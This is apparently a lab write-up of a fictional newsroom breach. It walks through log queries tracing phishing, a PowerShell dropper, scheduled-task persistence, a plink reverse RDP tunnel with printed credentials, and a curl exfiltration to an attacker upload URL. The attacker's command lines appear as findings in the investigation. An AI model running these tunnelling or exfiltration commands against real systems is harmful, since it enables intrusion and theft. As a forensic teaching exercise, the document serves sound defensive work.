A Scandal in Valdoria
The brief. On January 22, 2024, The Valdorian Times published an unapproved article making defamatory claims about a candidate in the Valdoria mayoral race — the morning it ran, it didn’t match the article the editor had actually approved. The newspaper printer, Clark Kent, says he printed exactly what landed in his inbox from the Editorial Intern, Ronnie McLovin. Ronnie swears she never sent it. This is a methodology walkthrough, not an answer key — the queries are the takeaway.
01 · Start at the email
Compromises usually start in the inbox, so before touching Ronnie or the printed story, pull the thread on any phishing lure that landed on staff. IT flagged a suspicious message received by Sonia Gose, a Senior Editor — characterise the sender before chasing anything else.
Email
| where recipient == "sonia_gose@valdoriantimes.news"
| where subject contains "apply"Sender is newspaper_jobs@gmail.com — external, masquerading as a recruiter — with a link to Valdorian_Times_Editorial_Offer_Letter.docx on a lookalike domain. That link and Sonia’s IP are the pivot into step 2: did she click?
02 · Confirm the click
Knowing the lure isn’t enough — pull Sonia’s IP from Employees, then check outbound browsing for a hit on that exact URL, keeping the timestamp so the chain stays ordered.
OutboundNetworkEvents
| where src_ip == "10.10.0.3"
| where url contains "promotionrecruit"Confirmed — a GET to the offer-letter docx at 10:23:17, thirteen minutes after the email landed. Click confirmed, so the download should be sitting on disk.
03 · Trace the drop, then the payload
Search FileCreationEvents by hostname and the exact filename to find where it landed, then window the minutes right after that drop — malicious documents that macro-execute usually spawn their next stage fast.
FileCreationEvents
| where hostname == "UL0M-MACHINE"
| where filename == "Valdorian_Times_Editorial_Offer_Letter.docx"Landed at 10:24:04 via edge.exe, hash captured. Ten minutes later, in the same window:
FileCreationEvents
| where hostname == "UL0M-MACHINE"
| where timestamp >= datetime(2024-01-05 10:24:04+00:00) and timestamp < datetime(2024-01-05 10:34:04+00:00)hacktivist_manifesto.ps1 written to C:\ProgramData\, spawned by explorer.exe — opening the “offer letter” dropped a PowerShell script. Go find what it actually did.
04 · Persistence, then a tunnel out
Pull every process tied to the script’s filename to see what it spawned.
ProcessEvents
| where hostname == "UL0M-MACHINE"
| where process_commandline contains "hacktivist_manifesto.ps1"schtasks.exe creates an hourly task, "Hacktivist Manifesto", that re-runs the script with -ExecutionPolicy Bypass — that’s persistence. Next, the connection out:
ProcessEvents
| where hostname == "UL0M-MACHINE"
| where process_commandline contains "plink"plink.exe -R 3389:localhost:3389 -ssh -l $had0w -pw thruthW!llS3tUfree 136.130.190.181 — a reverse RDP tunnel over SSH to an attacker-controlled host, credentials $had0w / thruthW!llS3tUfree. A live tunnel means hands-on-keyboard access next.
05 · Hands-on-keyboard discovery
Narrow to the attack day and to shells spawned under cmd.exe to catch what the attacker actually typed once the tunnel was up.
ProcessEvents
| where hostname == "UL0M-MACHINE"
| where parent_process_name == "cmd.exe"
| where timestamp >= datetime(2024-01-06) and timestamp <= datetime(2024-01-07)
whoami among five discovery commands — textbook post-compromise recon. Nothing further on Sonia’s box after that, but a dead end on one host isn’t a dead end on the campaign — the same phishing infrastructure had to have hit someone else.
06 · A second victim, the same playbook
A second sender address, valdorias_best_recruiter@gmail.com, turns up in the mail logs — reuse the sender-characterisation query on it instead of Sonia’s address.
Email
| where sender == "valdorias_best_recruiter@gmail.com"18 emails sent org-wide, including one to Ronnie McLovin — the Editorial Intern — on 2024-01-10, subject “Breaking News: We’re Hiring!”, link to Editorial_J0b_Openings_2024.docx. Running the same click → drop → persistence → tunnel checks against Ronnie’s IP (10.10.0.19, hostname A37A-DESKTOP) turns up an identical chain: same hacktivist_manifesto.ps1 hash, same plink credentials, a different destination IP (168.57.191.100). One actor, one automated playbook, run twice.
07 · The forged OpEd
Three weeks later, a third file shows up on Ronnie’s machine that doesn’t fit the phishing pattern — a fresh download outside the original lure. Search network events directly by filename.
OutboundNetworkEvents
| where url contains "fakestory.docx"fakestory.docx pulled from hire-recruit.org at 09:47:51 on 2024-01-31, straight to Ronnie’s Downloads. A fresh download three weeks after the initial compromise means the attacker still had the tunnel and used it directly — hands-on-keyboard again, not another phishing round. Checking what ran on her host right after:
ProcessEvents
| where hostname == "A37A-DESKTOP"
| where process_name == "cmd.exe"move C:\Users\romclovin\Downloads\fakestory.docx C:\Users\romclovin\Documents\OpEdFinal_to_print.docx at 10:26:20 — the attacker renamed the fake story into the exact filename the newsroom would expect. Forty-four minutes later:
Email
| where sender contains "lovin"
| where recipient contains "kent"11:11:12 — URGENT: Final OpEd Draft Edits (Please publish the following article in tomorrow's paper)), sent from Ronnie’s own account to Clark Kent, linking straight to the renamed file. The attacker didn’t need to compromise Clark at all — they used Ronnie’s already-tunnelled session to send the forgery as her. That’s the printed story, confirmed traced back to source.
08 · Exfiltration
Same host, same day — check what else ran around the rename.
ProcessEvents
| where hostname == "A37A-DESKTOP"
| where process_name == "cmd.exe"
Three password-protected 7zip archives — DankMemes.7z, MyStolenDataFromDesktop.7z, MyStolenDataFromDocuments.7z — all locked with the same plink credential (thruthW!llS3tUfree), followed by:
curl -F "file=@C:\Users\romclovin\Documents\*.7z" https://hirejob.com/exfil_processor/upload.phpConfirmed exfil off Ronnie’s box to an attacker-controlled upload endpoint. Last step: how far did it spread?
09 · Scope the blast radius
Search org-wide for the same exfil signature to rule out other victims.
ProcessEvents
| where process_name == "cmd.exe"
| where process_commandline contains "curl"Only Ronnie’s host matches. Blast radius: one phishing kit, two clicks, one hands-on-keyboard session, one forged article, one machine exfiltrated.
Timeline
| Date | Event |
|---|---|
| 2024-01-05 09:42 | Phishing email to Sonia Gose (newspaper_jobs@gmail.com) |
| 2024-01-05 10:23 | Sonia clicks, downloads offer-letter docx |
| 2024-01-05 10:24 | hacktivist_manifesto.ps1 dropped, scheduled task created |
| 2024-01-06 | Attacker tunnels in via plink, runs discovery commands |
| 2024-01-10 08:48 | Second phishing wave hits Ronnie McLovin |
| 2024-01-10 08:55 | Ronnie clicks, same payload chain lands on A37A-DESKTOP |
| 2024-01-31 09:47 | fakestory.docx downloaded directly via the live tunnel |
| 2024-01-31 10:26 | Renamed to OpEdFinal_to_print.docx |
| 2024-01-31 11:11 | Forged article emailed from Ronnie’s account to Clark Kent |
| 2024-01-31 (later) | Documents, desktop contents, and personal files archived and exfiltrated to hirejob.com |
| 2024-02-01 02:14 | Final curl upload of stolen archives |
Root cause: a spearphishing kit that landed on two staff members, escalated to hands-on-keyboard access via a plink-tunnelled RDP session, and was used both to forge and distribute a defamatory article under a real employee’s identity, and to exfiltrate data from the compromised host. Not a hack of the printer, not an insider — a phishing-driven account takeover.
Proof of completion:
